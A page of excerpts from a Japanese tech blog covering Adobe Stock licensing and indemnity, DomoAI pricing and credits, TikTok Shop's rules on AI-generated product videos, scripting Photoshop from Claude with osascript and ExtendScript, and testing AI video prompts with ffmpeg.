US$10,000」と表示されています。ただしこの補償が何を守るのかは、思っているより狭い範囲です。 対象になるか内容なるライセンスを取得して支払った Adobe Stock の素材（1 素材あたり US$10,000 が上限）ならない無料で配布されている素材ならない「Generated with AI」と表示されている素材（生成AI向けの補償の対象外）ならない出力を改変したもの、他の素材と組み合わせたもの 誤解が起きやすいのは、生成 AI の扱いです。Firefly で生成した出力に対する補償は、個人向けプランには付きません。Adobe の生成 AI 向け利用条件（2025 年 6 月 17 日発効）は、補償の条項について "This section 8 only applies if you: (1) are a Creative Cloud for teams or Creative Cloud for enterprise customer and (2) have purchased a Creative Cloud Pro Plus plan or Creative Cloud, Edition 4 plan" と対象を限定しています。個人で Adobe Stock を契約して得られるのは、あくまで Stock 素材のほうの補償です。 「Adobe なら生成 AI も補償付きで安心」という言い方は、少なくとも個人プランについては成り立ちません。生成した画像を案件で使うのであれば、補償の有無ではなく、その画像を自分でどう扱うかで管理することになります。生成 AI 側の考え方は Canva と Adobe Express の違い でも触れています。 自分の案件がどれに当たるかを判定する ここまでの条文を、実際の判断手順に落とします。上から順に見て、最初に「はい」になったところで必要なものが決まります。 その素材を売り物そのものにするか — Tシャツ、雑貨、テンプレート販売など。はいなら拡張ライセンスが必要で、無料サービスは全滅します 50 万部を超えて刷るか、50 万人以上に配信するか — はいなら強化ライセンス以上が必要です 人物が特定できる形で写っているか — はいなら、その素材の肖像権処理がされているかを個別に確認します。 ### [DomoAIとは｜料金プラン・使える機能・クレジットの仕組みを整理](https://codequest.work/domoai-guide/) DomoAI（ドモAI）とは、シンガポールの DOMOAI PTE. LTD. が提供する、ブラウザ上で動画と画像を生成できる AI サービスです。画像から動画、テキストから動画、動画から動画といった変換をひととおり備えており、専用ソフトのインストールは必要ありません。同社が 2026 年 8 月 24 日に配信したプレスリリースによれば、2023 年 3 月 31 日の設立から利用者は 300 万人を超えています。 AI 動画のツールは数が多く、どれも「何ができるか」は華やかに書いてあります。一方で、契約する前にいちばん知りたいのは、いくらかかるのかと、そのお金で何回生成できるのかのほうです。DomoAI はクレジット制で、しかも機能によって「秒あたり」と「1 回あたり」の 2 通りの数え方が混ざっています。ここを読み違えると、契約したあとで足りなくなります。 この記事では、DomoAI の機能・使えるモデル・料金プラン・クレジットの減り方・無制限生成の条件を、公式サイトと公式発表に書かれている内容だけで整理します。実際に生成してどうだったかという使用感は扱いません。そちらは AI 動画生成は指示の出し方で 9 割決まる で別途検証しています。 DomoAI とは — ブラウザで完結する動画・画像の生成サービス DomoAI は、動画生成・画像生成・アップスケールなどをひとつの画面にまとめた Web サービスです。ログインするとサイドバーに「AI ビデオ」「AI 画像」「クイックアプリ」が並び、目的の機能を選んで素材とテキストを入れる形で操作します。 運営会社の情報は、同社が 2026 年 8 月 24 日に配信したプレスリリースに記載があります。 項目内容運営会社DOMOAI PTE. LTD.所在地シンガポールCEOJoe Lam設立2023 年 3 月 31 日利用者300 万人を突破受賞2025 年「Singapore SME 500 Award」に選出 出典はいずれも PRTIMES に掲載された DomoAI のプレスリリース（2026 年 8 月 24 日）で、同社自身の発表にもとづく数字です。第三者による検証値ではない点だけ、読むときに区別してください。 画面は日本語表示に対応しており、公式サイトも /ja/ 配下で日本語のページが用意されています。料金ページやヘルプの一部が英語のまま残っている箇所はあります。 何ができるのか — 公式が挙げている機能 公式の料金ページには「モデルと利用時間のアクセス」という一覧があり、プランごとにどの機能が使えるかが整理されています。そこに並んでいる機能は次のとおりです。 区分機能公式に記載された尺・条件AI ビデオオムニリファレンス4〜30 秒／高速のみAI ビデオ画像→動画生成アドバンスド 5 秒は高速＆リラックス、アドバンスド 10 秒は高速のみAI ビデオテキスト→動画生成アドバンスド 5 秒は高速＆リラックス、アドバンスド 10 秒は高速のみAI ビデオフレームから動画へ1〜56 秒／マルチフレームは高速のみAI ビデオキャラクターから動画へ5 秒・10 秒は高速＆リラックス、20 秒・30 秒は高速のみAI ビデオ動画→動画変換3・5・10 秒は高速＆リラックス、20 秒・30 秒は高速のみAI ビデオAI アバター5・10・20 秒／プランにより 30・60 秒AI 画像画像編集／テキスト→画像生成高速＆リラックスAI ツール画像アップスケーラー／動画アップスケーラー高速のみAI ツール音声読み上げ高速のみ 「高速（クイック）」と「リラックス」はモードの名前です。この 2 つの違いが料金の考え方に直結するので、あとの節で扱います。 なお、生成した動画を実際の商品ページや EC で使う場合は、ツール側でできることと、載せる先のプラットフォームが許していることが別問題になります。TikTok Shop を例にした線引きは TikTok Shop の AI 動画はどこまで作れるか で扱っています。 選べる生成モデル DomoAI は自社モデルと外部モデルの両方を載せています。料金ページのプラン欄に列挙されているのは次の 8 つです。 DomoAI 2.5 DomoAI 2.4.1 MiniMax H3 Seedance 2.5 Seedance 2.0 GPT Image 2 Nano Banana 2 Nano Banana Pro 後ろの 3 つは画像側のモデルです。動画側で新しいのは Seedance 2.5 と MiniMax H3 で、どちらも「オムニリファレンス」という機能から使います。 オムニリファレンスで何が変わったか プレスリリースによると、オムニリファレンスは画像・動画・音声をまとめて参照素材として渡せる機能です。Seedance 2.5 では 最大 30 枚の参照画像、最大 10 本の参考動画、最大 10 件の参照音声に対応し、複数のシーンやカメラアングルをまたいでも顔・髪型・衣装といったキャラクターの見た目を保つことを狙っています。 MiniMax H3 のほうは、キャラクター画像と楽曲・セリフの音声を組み合わせて口の動きや表情を作る用途で、標準出力解像度は 768P と記載されています。いずれも同社の発表であり、こちらで生成して確かめた内容ではありません。 料金プラン — 月額と年払い 公式の料金ページに掲載されているプランは 4 つです。表示は米ドルで、年払いを選ぶと公式表記で「30% 以上お得」になります。 プラン月払い年払い時の月額月間クレジットクレジット単価ベーシック$13$9600$0.015スタンダード$42$292,200$0.013プロ$142$998,000$0.012チーム$142／席$99／席24,000（チームで共有）$0.012 プロには月間クレジットを 8,000／16,000／24,000 から選ぶ切り替えが用意されています。チームは席数課金で、クレジットはワークスペース全体で共有されます。公式には 3 席で年額 $3,564、$1,548 お得という例が示されています。 プランの差はどこに出るのか クレジット量以外に、公式が特典として挙げている差は次の 4 点です。 項目ベーシックスタンダードプロ／チームリラックスモードでの無制限生成なしありあり同時に走らせられる生成タスク最大 8 件最大 12 件最大 20 件（チームはワークスペースあたり 32 件）キャラクター動画の尺5 秒・10 秒5 秒・10 秒20 秒・30 秒まで拡張AI アバターの尺5・10・20 秒5・10・20 秒最長 60 秒 4K 動画・6K 画像の高画質化、透かしの無い出力、スタイルテンプレートの解放、クレジットの追加購入は、公式表記ではベーシックを含む全プランに付いています。優先サポートはプロとチームのみです。 クレジットはどう減るのか — 秒課金と回数課金 ここが DomoAI の料金でいちばん誤解しやすいところです。消費量の数え方はひとつではなく、モデルによって「1 秒あたり」と「1 回あたり」に分かれます。料金ページの「タスクごとにいくつのクレジットが必要ですか？」を開くと、公式の消費量表が出てきます。主なものを書き出します。 機能モデル・条件消費クレジット画像→動画Seedance 2.0 Fast / 480P10／秒画像→動画Seedance 2.0 Fast / 720P20／秒画像→動画Seedance 2.0 / 480P12／秒画像→動画Seedance 2.0 / 720P24／秒画像→動画Seedance 2.0 / 1080P56／秒画像→動画DomoAI V2.4 Fast / 5 秒・10 秒7・15／回画像→動画DomoAI V2.4 Advanced / 5 秒・10 秒20・50／回フレーム→動画—4／秒テキスト→動画DomoAI V2.4 Fast / 5 秒・10 秒7・15／回テキスト→動画DomoAI V2.4 Advanced / 5 秒・10 秒20・50／回音声読み上げプリセット音声（100 語あたり）1／回音声読み上げボイスクローン（200 語あたり）6／回 Seedance 系は秒課金で、しかも解像度で単価が変わります。480P から 720P で倍、720P から 1080P でさらに倍以上です。一方 DomoAI V2.4 系は尺ごとの固定額で、5 秒 7 クレジットから始まります。同じ「動画を 1 本作る」でも、選ぶモデルと解像度で消費量が一桁違います。 上の表は公式の消費量表から主なものを抜き出したものです。キャラクター動画や動画→動画など、ここに載せていない機能も同じ表に記載があります。 公式が示している「作れる本数」の目安 料金ページには、プランごとに「およそ何枚の画像または何本の動画が作れるか」という目安が添えられています。 プラン月間クレジット公式の目安ベーシック600約 150 枚の画像または 85 本の動画スタンダード2,200約 550 枚の画像または 314 本の動画プロ8,000約 2,000 枚の画像または 1,142 本の動画チーム24,000約 6,000 枚の画像または 3,428 本の動画 あわせて、プロプランの月間クレジットを機能別に割った目安も公式に掲載されています。 機能公式の目安オムニリファレンス約 266 本画像→動画生成約 1,142 本テキスト→動画生成約 1,142 本フレームから動画へ約 2,000 本キャラクターから動画へ約 533 本動画→動画変換約 533 本AI アバター約 533 本テキスト→画像生成約 2,000 枚画像編集約 800 枚音声読み上げ約 8,000 件 これらはあくまで公式が示す目安です。前の節のとおり消費量はモデルと解像度と尺で変わるため、同じクレジット数でも実際に何本作れるかは選ぶ設定によって動きます。契約前に見積もるなら、この目安ではなく消費量表のほうを自分の使う条件に当てはめて計算してください。 クイックモードとリラックスモード DomoAI には生成モードが 2 つあります。料金ページの注記は「リラックスモードではクレジットを消費せずに生成できますが、時間がかかります」と書いています。つまりクレジットを使って速く出すのがクイック（高速）、待つ代わりに減らさないのがリラックスです。 ただしリラックスは全部のモデルで使えるわけではありません。公式のプラン欄には、スタンダード以上で次のように書かれています。 モデルスタンダード以上での扱いDomoAI 2.5 / 2.4.1リラックスで無制限GPT Image 2リラックスで無制限Nano Banana 2 / Nano Banana Proリラックスで無制限MiniMax H3Fast モードのみSeedance 2.5Fast モードのみSeedance 2.0Fast モードのみ 整理すると、無制限に生成できるのは DomoAI 自社モデルと画像系モデルで、Seedance と MiniMax H3 は無制限の対象外です。「無制限だから使い放題」と読むと、いちばん使いたいモデルが対象外だった、ということが起こります。ベーシックにはリラックスでの無制限そのものが付きません。 無料でどこまで試せるかは次の節で扱います。他社ツールの無料枠がどのくらい実用になるかは 生成 AI で写真から動画を作る｜無料枠で 3 本作って本番サイトに載せた にまとめています。 商用利用と権利の扱い 仕事で使えるかどうかは、契約前にいちばん確かめたい点です。 ### [TikTok ShopのAI動画はどこまで作れるか｜DomoAIで4本検証](https://codequest.work/tiktokshop-ai-video-limits/) TikTok Shop の商品動画を AI で作るとき、映像そのものは商品を映しても崩れません。化粧品のボトルを手に持たせても、蓋を開けさせても、容器の形も素材も 15 秒のあいだ変わりませんでした。それでも商品カットを AI に任せきれない理由は、映像が破綻するからではなく、そこに映っているのが実在する自社商品ではないからです。TikTok Shop の販売者向け公式ドキュメント「AI 生成コンテンツ（AIGC）の解説」は、AI 生成コンテンツを「実際の商品情報のみを使用し、実際の商品画像およびセラーが提供する素材に基づかなければならない」と定めているからです。 AI 動画の弱点としてよく語られるのは「途中で商品が別物に変わる」という話です。今回はそれが本当に起きるのかを、ブラウザでの再生ではなくファイルからフレームを抜き出して 1 秒ずつ並べて確かめました。結果として、その破綻は起きていません。だとすれば次に決めるべきは、作り方ではなくどこまでを AI に渡してよいのかの線引きのほうです。 この記事では、AI 動画生成ツール DomoAI で 15 秒・縦 9:16・720P の動画を 4 本作り、商品を映したもの・映さないもの・服を着せたもの・開封させたものを比べます。そのうえで、実測の結果を TikTok Shop の公式規定と突き合わせて、カテゴリごとの可否を表にします。プロンプトの書き方そのものは AI 動画生成は指示の出し方で 9 割決まる で 6 本検証しているので、本記事は「何を任せてよいか」の判断だけを扱います。検証したのはテキストから動画を作る方式で、実際の商品写真を起点にする方式については未検証の仮説を後半に添えました。検証日は 2026 年 9 月 2 日です。 TikTok Shop は AI 動画を禁止していない。禁じているのは「商品を変えること」 まず前提を正しておきます。TikTok Shop は AI 生成コンテンツの利用を認めています。禁止しているのは AI を使うことではなく、AI を使って商品を実物と違うものに見せることです。公式ドキュメントは、AI 生成コンテンツを作る際に「実際の商品情報のみを使用し、実際の商品画像およびセラーが提供する素材に基づかなければならない」と定めています。 商品の見え方について、禁止事項は具体的に書かれています。 商品の属性を改変すること（実際よりも大きく／小さく見せる、パッケージを実際とは異なるものに見せるなど） 実際には備わっていない機能や特徴を作り出すこと 本来は平面（2D）の商品を立体的（3D）な商品であるかのように見せること この記事の結論を先に言うと、1 つ目の「パッケージを実際とは異なるものに見せる」が、テキストから動画を作る AI にとって避けがたい挙動そのものでした。意図して盛るのではなく、10 秒を超えたあたりから勝手にそうなります。 AI で作ったことの開示は必須 公式ドキュメントは「AI を使用していることを明確に表示する必要があります」としています。方法は 2 通りで、コンテンツ内にテキスト・透かし・ステッカーで表記するか、投稿時にプラットフォーム側の「AI 生成コンテンツ」スイッチをオンにするかです。 加えて、TikTok 側が自動でラベルを付ける場合があります。公式は「特定の AI 生成コンテンツが自動的に識別され、ラベルが付与される場合があります」と述べており、この自動ラベルは削除できませんが、それ自体はペナルティの対象ではありません。つまり、隠そうとしなければ自動ラベルは怖いものではない、という設計になっています。 開示しても許されないもの 開示すれば何でも通るわけではありません。公式が挙げている禁止対象のうち、開示していても禁止と明記されているものがあります。 対象公式の記載有名人・医療専門家・政治家・公人音声を含め、商品の宣伝・販促に用いることは、AI 生成コンテンツとして適切に開示されている場合であっても禁止医師・医療従事者のなりすまし医療的・専門的な資格があるかのように誤って示唆する AI 生成のアバター・音声・人物像で、商品や医療的な効能を宣伝してはならない公的機関のなりすまし政府・法執行機関による推奨があるかのように誤って示唆する AI 生成のアバター・音声・人物像を使用しないディープフェイク厳しく禁止 「AI で作った医師風の人物に効能を語らせる」は、開示の有無にかかわらず出口がありません。ここは工夫の余地がない領域だと理解しておくのが早いです。 検証の条件をそろえる 比較の意味を持たせるため、4 本すべて同じ条件で生成しました。ツールは DomoAI、モデルは音声とマルチショットに対応した Seedance 2.0 です。あえて上位モデルを選びました。破綻したときに「モデルが弱かっただけ」と言い逃れできないようにするためです。 項目設定生成方式テキストから動画モデルSeedance 2.0尺15 秒（このモデルの上限）縦横比9:16解像度720P音声オン 題材は 4 つに分けました。商品名は実在ブランドと衝突しないよう、架空の「AQUABASE」に統一しています。 本数題材何を見たいか1 本目アパレル（服のモデルカット）人物と衣服が 15 秒保つか2 本目商品を持って静止ラベルと容器が保つか3 本目商品を開封して中身を見せる状態変化をまたいで商品が同一か4 本目商品を映さない世界観カットナレーションとテロップが入るか 判定はすべて、ブラウザ上ではなくダウンロードしたファイルから行っています。動画の検証をブラウザのシークで済ませると表示フレームがずれて誤判定する、というのは前回の検証で実際にやらかした失敗です。無料枠でどこまで作れるかを比べた 生成 AI で写真から動画を作る もあわせてどうぞ。 服は成立する — 1 回転までそのまま通った 先に、いちばん結果が良かったものから出します。アパレルです。「正面を向く → ゆっくり 1 回転して背面を見せる → 正面に戻る」と指示しました。 ▶ アパレル：指示どおり 1 回転して正面に戻る（クリックで再生） 指示がそのまま完遂されました。正面 → 側面 → 背面 → 側面 → 正面と回り、リネンシャツの胸ポケット、前立てのボタン、裾のスリット、ワイドパンツのドレープが 15 秒間ぶれません。TikTok Shop のアパレル動画として、そのまま使える水準です。 なぜ服だけうまくいくのか。理由ははっきりしています。服には「崩れた」と判定できる基準が画面の中に無いからです。文字も、ロゴも、決まった形の容器もありません。リネンのしわは 1 秒ごとに変わって当然のものなので、変わっても誰も破綻と感じません。逆に言えば、プリント T シャツのように文字や柄が入った服は同じようにはいかないと考えるべきです。今回はプロンプトで「服に文字・ロゴ・プリントを入れない」と明示しています。 TikTok Shop 自身が用意している AI 動画機能が、まずファッション向けとして提供されているのも、おそらく同じ理由です。アパレルは AI 動画が成立する数少ないカテゴリなので、そこから始めるのは理にかなっています。 商品を持たせて静止させても、容器は 15 秒保った 次に、化粧品を想定した白いボトルを手に持たせました。ラベルには「AQUABASE」の 1 行だけを入れる指定です。 ▶ 商品を持って静止：容器の形もラベルの綴りも 15 秒保つ（クリックで再生） 良かった点から。容器の形も「AQUABASE」の綴りも、15 秒間そのまま保たれました。0 秒と 15 秒のフレームを並べても、ボトルの輪郭・キャップの比率・ラベルの位置は変わりません。AI 動画は文字が苦手というのは広く知られた弱点ですが、短い単語をラベルに 1 つ置くだけなら通ります。 問題は 1 つだけ出ました。指定していない 2 行目が勝手に生えたことです。ラベルの下部に、判読できないダミーの文字列が 2 行分現れました。プロンプトには「1 行の黒いテキスト」と書いています。実物のラベルに無い文字が付く以上、これはそれだけで「パッケージを実際とは異なるものに見せる」に当たり得ます。容器が崩れなくても、拡大して文字を確認する工程は省けません。 正直に書いておくと、この 1 本にはこちらのプロンプトに落ち度もありました。「ラベルが常にレンズを向くように、ゆっくり回転させる」と書いたのですが、これは両立しない指示です。回せばラベルは向こうへ行きます。モデルは矛盾を「回さない」で解決しました。したがってこの動画の「回転しなかった」という結果は、モデルの限界の証拠としては使えません。矛盾した指示を出すと安全側に倒れる、という別の教訓です。 開封させても、容器は同じ容器のままだった ここが本題です。商品紹介の動画で最も多い型は、静止して見せることではなく開封して中身を見せることです。状態が変わるぶん、容器が崩れるとすればここです。蓋を回して外し、瓶を傾けて中の液体を見せる、という指示に変えました。前の失敗を踏まえ、「フレーム内に他の文字を一切出すな」の一文も追加しています。 ▶ 開封：動作は完遂し、容器の素材も形も最後まで変わらない（クリックで再生） まず成功した点です。開封という動作は最後まで完遂しました。蓋を掴み、持ち上げ、ねじ口が露出し、傾けて口元の液体が見えます。そして「他の文字を出すな」の一文が効き、前の動画で生えたダミーの 2 行目は完全に消えました。ラベルは「AQUABASE」の 1 行だけです。文字の問題は、書き方で解けます。 そして肝心の容器です。ファイルからフレームを抜き出して 1 秒ずつ並べましたが、別の容器に入れ替わる瞬間はありませんでした。状態が変わるのは蓋だけで、ボトル本体は最初から最後まで同じものです。 時点容器の状態0〜3 秒磨りガラス調の白いボトル、金色のキャップ。ラベルは「AQUABASE」の 1 行6〜9 秒キャップを外して透明なねじ口が露出。ボトル本体・ラベルは同じ（キャップは手に持ったまま画面上方へ外れる）12〜15 秒傾けて口元の液体を見せる角度へ。本体もラベルの位置も同じまま 変化しているように見えるのは、外したキャップの下から透明なねじ口が出てくる部分と、瓶を傾けたことで見える面が変わる部分です。どちらも物理的に正しい見え方で、容器がすり替わったわけではありません。素材レベルの変化を疑ってフレームを拡大しましたが、白い本体・ラベルの位置・キャップの直径のどれも一致しています。この 1 本に関するかぎり、「商品のパッケージを実際とは異なるものに見せる」状態は出来ていません。 唯一の注意点は、終盤の 3 秒でラベルの文字がにじむことです。ただしこれは角度が付いたことと手の動きによるぶれで、別の文字列に化けているわけではありません。15 秒・1 ショット・状態変化ありという条件で、容器の同一性は保たれた——これが今回の実測です。 商品を映さない型なら、ナレーションもテロップも通る では商品を画面から外すとどうなるか。世界観だけを見せ、日本語のナレーションを乗せ、最後に商品名を出す構成にしました。商品も、パッケージも、ラベルの付いた物体も画面に出さない指定です。 ▶ 世界観カット：日本語ナレーションと商品名テロップが両方入る（クリックで再生。音量アイコンをオンにすると日本語の声が聞けます） 3 つの要素が全部通りました。映像は白い石の上の水と光で 15 秒間安定し、指定した位置で日本語のナレーションが入り、最後の 3 秒で商品名のテロップが極めて綺麗に出ました。 テロップを綺麗に出すのに効いたのは 2 点です。綴りを 1 文字ずつハイフンで区切って示すことと、他の文字を出すなと明示すること。実際に使ったのは次のような書き方です。 ### [ClaudeでPhotoshopを操作する2つの方法｜公式コネクタとExtendScript](https://codequest.work/claude-photoshop-extendscript/) ClaudeからPhotoshopを操作する方法は2つあります。コードを書かずに済ませるなら、Adobe公式の「Adobe for creativity」コネクタをClaudeに繋ぐ。手元で開いているPSDをレイヤーごと動かしたいなら、macOSに標準で入っているosascriptコマンドからExtendScript（.jsx）を送り込む。前者はAdobeのクラウドで画像を1枚加工して返す仕組みで、後者は手元のPhotoshopそのものを動かします。 デザイン作業のうち、同じ型で数を出す仕事は退屈です。名刺を100人分、バナーをサイズ違いで10本、書籍の帯だけを差し替えて5案。手で作れば作れますが、時間がかかるうえに人為的なミスが混ざります。かといってPhotoshopを自動化しようとすると、公式ドキュメントは英語のPDFで、しかも最新版が2020年で止まっています。 この記事では、まず公式コネクタを実際に繋いで、どこまでできてどこから先が届かないのかを確かめます。そのうえで、コネクタでは届かない領域を実際にPhotoshop 2026を動かしながら、接続の最小手順から写真加工・画像合成・印刷用データの生成・同一レイアウトの量産までを順に確認します。あわせて、公式ドキュメントに載っていない2つのつまずきどころと、DOMで扱えない機能の回避方法も扱います。デザインツールをAIから操作する話としては、FigmaとClaude Codeを連携する方法 が公式MCPを使う側の事例です。 コードを書かずに操作する — Adobe公式コネクタ Adobe for creativityコネクタとは、Claudeから自然言語でAdobeの処理を呼び出すための公式コネクタです。2026年4月28日にAnthropicが「Claude for Creative Work」として発表したもので、同時にAbleton・Affinity・Autodesk Fusion・Blender・Resolume・SketchUp・Spliceのコネクタも公開されました。Adobe側の発表によれば、Photoshop・Lightroom・Illustrator・Premiere・InDesign・Express・Firefly・Adobe Stockにまたがる50以上のツールを呼び出せます。 繋ぐ手順はClaudeのコネクタディレクトリから追加するだけで、コードは一切書きません。Adobeのアナウンスでは、Claudeアカウントがあれば使い始められ、Adobeアカウントでサインインすると利用上限が上がり、使えるツールが増え、作業がセッションをまたいで保存されるとされています。 実際に繋いで分かった、入力の渡し方 実際にコネクタを繋いだ状態で画像を渡そうとすると、最初につまずくのが入力経路です。3通り試した結果は次のとおりでした。 試したこと結果自分のサイトに置いた公開画像のURLを渡す拒否された。URL domain not whitelisted というエラーが返る手元の画像をCreative Cloudへアップロードして渡す通った。加工まで到達するレイヤー入りのPSDをアップロードして渡す元データは読めず、統合された1枚のプレビューだけが返る つまりコネクタに渡せるのはAdobeのストレージに入っているアセットだけで、任意のURLを指定することはできません。手元のファイルはCreative Cloudへ上げる工程が必ず挟まります。 3行目が、この記事の後半とつながる重要な制約です。この記事のアイキャッチは18枚のレイヤーで構成されたPSDですが、同じファイルをコネクタに渡しても、返ってくるのは統合された1枚の画像でした。コネクタはレイヤー構造を扱いません。Adobeのクラウドで画像を加工して、加工済みの画像を1枚返す仕組みです。 コネクタでできること、できないこと できないことはコネクタ側の仕様として明示されており、代替手段までセットで案内されます。境界がはっきりしているので、判断は難しくありません。 できるできない（公式に明示）背景除去・切り抜き複数画像の合成露出・ハイライト・シャドウ・色温度・彩度の調整写り込んだ物や人の除去自動トーン補正、Lightroomプリセットの適用プロンプトによる背景の差し替え切り抜き・リサイズ、傾き補正生成塗りつぶしなどの生成AI（生成拡張のみ例外）被写体選択・プロンプト選択・選択範囲の反転解像度を上げるアップスケールぼかし・グレイン・ハーフトーンなどの効果およそ20件を超える大量バッチ処理画像のベクター化、動画のリサイズ・音声補正PDFのテキスト編集、OCR、動画のトリミング 注目したいのは、できない側の代替手段としてAdobeが案内しているのがPhotoshop本体・Adobe Bridge・Photoshopアクションだという点です。合成も、大量バッチも、コネクタの外側にあります。この記事の後半で扱うのは、まさにその外側の領域です。 コネクタとExtendScript、どちらを選ぶか 両方を同じPSDで動かして比べると、選び方は1つの問いに収束します。レイヤーを保ったまま触りたいかどうかです。保つ必要がないならコネクタで足ります。保つ必要があるなら、手元のPhotoshopを直接動かすしかありません。 Adobe公式コネクタosascript + ExtendScriptコードを書くか書かない（自然言語で頼む）書く（.jsx）必要なものClaudeアカウント（Adobeアカウント連携で上限が上がる）macOSとPhotoshop本体動かす対象Adobeのクラウド手元で起動しているPhotoshop入力の渡し方Creative Cloudへアップロード（任意のURLは不可）ローカルのファイルパス扱える単位統合された画像1枚レイヤー・チャンネル・パス返ってくるもの加工済みのPNGまたはJPEGPSDの構造を保ったまま得意単発の加工（背景除去・色調整・切り抜き）量産・検版・印刷用データの生成苦手合成・大量バッチ・レイヤー操作1点物のデザイン、試行錯誤 写真を1枚きれいにしたい、SNS用に切り出したい、背景を抜きたい。この手の仕事はコネクタのほうが速く、環境構築も要りません。ここから先は、コネクタでは届かない領域の話です。名刺を100人分、バナーをサイズ違いで10本、帯だけ差し替えて5案。レイヤーを保ったまま同じ型で数を出す仕事を、実際にPhotoshopを動かしながら確認していきます。 ClaudeからPhotoshopを操作する仕組み 経路は3段です。Claudeがターミナルでosascriptを実行し、osascriptがAppleScriptとしてPhotoshopに命令を送り、Photoshopがその中身のExtendScriptを実行します。 命令は一方通行では終わらない。書き出して目で見るところまでが1周 鍵になるのはPhotoshopのdo javascriptコマンドです。Adobe公式の『Adobe Photoshop AppleScript Scripting Reference』によると、このコマンドは「実行するJavaScriptのコードまたはファイル（.jsまたは.jsx）」を受け取り、with argumentsで引数リストを、show debuggerでデバッガの表示タイミングを指定できます。 つまりPhotoshopは「AppleScriptを受け取る口」を持っていて、その口からJavaScriptを流し込めるということです。GUIをクリックして操作するわけではないので、画面の解像度やウィンドウ位置に影響されません。 注意点がひとつあります。アプリケーション名はバージョンまで含めて正確に書く必要があります。「Adobe Photoshop 2026」であって「Photoshop」ではありません。複数バージョンを入れている場合は、狙ったほうを名指しすることになります。 接続する — 3ステップで疎通を確認する いきなり複雑なスクリプトを送ると、失敗したときに原因の切り分けができません。読み取りだけの命令から始めます。 1. バージョンを取得して疎通を確認する Photoshopを起動した状態で、ターミナルから次を実行します。 osascript -e 'tell application "Adobe Photoshop 2026" to get version' バージョン番号が返ればつながっています。初回はmacOSが自動化の許可を求めるダイアログを出すので、許可してください。ここで止まる場合は、システム設定のプライバシーとセキュリティにある「オートメーション」の項目を確認します。 2. 開いているドキュメントを調べる 次に、状態を読み取るだけの命令を送ります。書き込みを伴わないので安全です。 tell application "Adobe Photoshop 2026" set n to count of documents if n is 0 then return "開いているドキュメント: 0件" else set out to "" repeat with d in documents set out to out & (name of d) & " / " & (width of d as string) & "x" & (height of d as string) & return end repeat return out end if end tell 3. ExtendScriptのファイルを送り込む ここからが本番です。.jsxファイルを書いて、その中身を文字列としてPhotoshopに渡します。ファイルパスを直接渡す方法もありますが、シェルでcatして文字列で渡すほうが確実でした。 set scriptText to (do shell script "cat " & quoted form of "/path/to/script.jsx") tell application "Adobe Photoshop 2026" activate do javascript scriptText end tell ExtendScript側は、最後に評価した式の値が戻り値になります。処理のログを配列に貯めてjoinして返すと、ターミナル側で結果を受け取れます。この戻り値が、あとで効いてきます。 app.displayDialogs = DialogModes.NO; var log = []; var doc = app.documents.add(1500, 500, 72, "banner", NewDocumentMode.RGB, DocumentFill.WHITE); log.push("created: " + doc.width.value + "x" + doc.height.value); log.join("\n"); 写真を加工する — 元レイヤーを残したまま色を作る まずは1枚の写真に色を作ります。カーブでコントラストを立て、カラーバランスでシャドウを寒色・ハイライトを暖色へ振り、周辺光量を落とします。 左が元画像、右がスクリプトで色を作ったもの。白飛び気味だった空に階調が戻る 元の画像を潰さないよう、レイヤーを複製してから加工します。 ### [AI動画生成は指示の出し方で9割決まる｜DomoAIで6本検証](https://codequest.work/ai-video-prompt-verification/) AI動画生成の出来を決めているのは、モデルの性能よりも指示の粒度です。同じツール・同じ尺・同じ解像度でも、プロンプトの書き方を変えるだけで、出てくる映像は別物になります。実際に同じ題材で2本作ったところ、1本目は被写体がその場で足踏みするだけ、2本目は指定した回転を最後まで踊りきりました。違いはプロンプトの2箇所だけです。 AI動画ツールの紹介記事は「すごい」か「まだ使えない」のどちらかに寄りがちです。ただ実際に触ってみると、同じツールでも当たりと外れの差が激しく、その差がどこから来ているのかは書かれていません。課金する前に知りたいのは「このツールは高性能か」ではなく、「自分が書いた指示で、狙ったものが出てくるのか」のほうです。 この記事では、テキストから動画を作るAIツール「DomoAI」で6本の動画を生成し、失敗した1本目から成功した6本目までの差分を追います。出来上がりの印象で語らず、生成した動画ファイルをffmpegでフレーム単位・音量単位まで分解して確かめました。写真を起点にする方式や無料枠の使い勝手については 生成AIで写真から動画を作る で別途扱っています。この記事はテキストから作る場合の指示の書き方に絞ります。 同じツール・同じ設定で、ここまで変わる 最初に結論から見てもらいます。次の2本はまったく同じツール・同じモデル・同じ尺（10秒）・同じ縦横比（9:16）・同じ解像度（720P）で生成したものです。題材もどちらも「人がダンスする実写映像」で揃えています。違うのはプロンプトの文面だけです。 ▶ 1本目：振付を3つ指定したが、その場で足踏みするだけ（クリックで再生） ▶ 2本目：動作を1つに絞りカメラを固定したところ、回転を踊りきった（クリックで再生） ツールを乗り換えたわけでも、上位プランに課金したわけでもありません。指示の出し方を変えただけです。以降で、何を書いて失敗し、何を変えて成功したのかを順に見ていきます。 検証の条件をそろえる 比較が成立するように、プロンプト以外の条件は固定しました。2026年9月2日に実施した内容です。 項目設定ツールDomoAI（テキスト→動画生成）モデルSeedance 2.0 Fast尺10秒（比較用に1本だけ5秒）解像度720P縦横比9:16 または 16:9音声オン生成本数6本検証方法生成物を FFmpeg でフレーム抽出・音量測定 検証方法について補足します。AI動画の評価は「なんとなく良い／悪い」に流れやすいのですが、それだと再現できる知見になりません。そこで生成したMP4をダウンロードし、ffmpegで0.2秒刻みのフレームを抜き出して並べ、音声は1秒ごとの平均音量を測りました。「動いている気がする」ではなく「何秒で何が起きたか」を数えられる状態にしています。 コンタクトシート（連続フレームを1枚に並べた画像）を作るコマンドは次のとおりです。 # 0〜10秒を0.5秒刻みで抜き出し、10列×2段の1枚にまとめる ffmpeg -i input.mp4 -vf "fps=2,scale=200:356,tile=10x2" -frames:v 1 sheet.jpg # 1秒ごとの平均音量を測る for t in 0 1 2 3 4 5 6 7 8 9; do ffmpeg -hide_banner -ss $t -t 1 -i input.mp4 -af volumedetect -f null /dev/null 2>&1 \ | grep mean_volume done 失敗した1本目に、何を書いたか そもそもの1本目は、Webサイトのヒーローセクションに敷く背景ループを狙って、日本語でこう書きました。 Webサイトのヒーローセクションに敷く背景ループ映像。深い紺色の空間を、青と紫の光の粒子がゆっくり右へ流れる。抽象的でミニマル、白い文字を重ねても読めるよう明暗差は控えめ。カメラは固定、動きは滑らか。 出てきたのは、紺色の背景に青白い粒がびっしり散っただけの映像でした。指示自体は守られています。紺色で、粒子が流れていて、抽象的で、カメラも動いていません。守られたうえで、平凡でした。 